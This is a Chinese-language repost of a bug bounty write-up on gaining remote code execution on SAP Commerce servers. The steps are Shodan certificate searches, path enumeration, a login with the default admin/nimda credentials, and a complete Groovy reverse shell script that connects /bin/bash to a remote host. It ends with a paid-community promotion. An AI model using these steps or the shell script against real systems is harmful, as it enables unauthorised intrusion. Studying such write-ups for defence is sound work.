如何在一个目标中获取两个RCE
2024-4-14 20:59:51 Author: mp.weixin.qq.com(查看原文) 阅读量:23 收藏

如何在一个目标中获取两个RC

                                        整个攻击流程

环节 1: 目标识别和信息收集

1.使用Shodan搜索引擎搜索包含特定SSL证书信息("ssl:target.com")的服务器,旨在找到使用这一证书的服务器IP地址。

2.目录和路径探索:通过使用dirsearch工具对找到的IP地址进行目录枚举,发现了一个管理登录页面(如/hac/login/)。这个路径是SAP Commerce默认的管理Web应用程序,通常用于系统管理操作。

环节 2: 利用默认凭证登录

1.获取默认登录凭证:

通过谷歌搜索找到了SAP Commerce管理控制台的默认登录凭证(用户名:"admin",密码:"nimda")。这些信息通常应该是保密的,但在一些文档或社区论坛中可能被泄露。

2.成功登录管理控制台:

使用获取到的默认凭证,攻击者成功登录了管理面板,这通常意味着他获得了执行管理任务的能力。

环节 3: 发现并利用执行脚本的功能

1.发现执行脚本功能:

在管理面板内,发现了一个控制台标签页,允许用户执行Groovy脚本(/hac/console/scripting/)。

2.编写并执行恶意脚本:

编写了一个Groovy脚本,该脚本创建了一个反向Shell连接回指定的IP和端口。这使得研究员能够从远程执行系统命令,获得对服务器的控制。

String host="Your Ip Here";

int port=Your Port;

String cmd="/bin/bash";

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();

Socket s=new Socket(host,port);

InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();

OutputStream po=p.getOutputStream(), so=s.getOutputStream();

while(!s.isClosed()){
    while(pi.available()>0) so.write(pi.read());
    while(pe.available()>0) so.write(pe.read());
    while(si.available()>0) po.write(si.read());
    so.flush();
    po.flush();
    Thread.sleep(50);
    try {p.exitValue(); break;} catch (Exception e){}
};

p.destroy();

s.close();

环节 4: 扩展攻击

在成功获取远程代码执行能力后,返回Shodan搜索其他可能存在相同安全漏洞的服务器。

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放

往期回顾

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

原文:https://0xbartita.medium.com/how-i-got-two-rce-at-bbp-program-0xbartita-232727c5b3f0


文章来源: https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247494240&idx=1&sn=b7882d6d1f1dba7c20ac68457c0e15f7&chksm=e8a5e003dfd269150343a69669ec0d1410c28c04a3de51b07d157a3fb561e38f8c596e8d7ee6&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh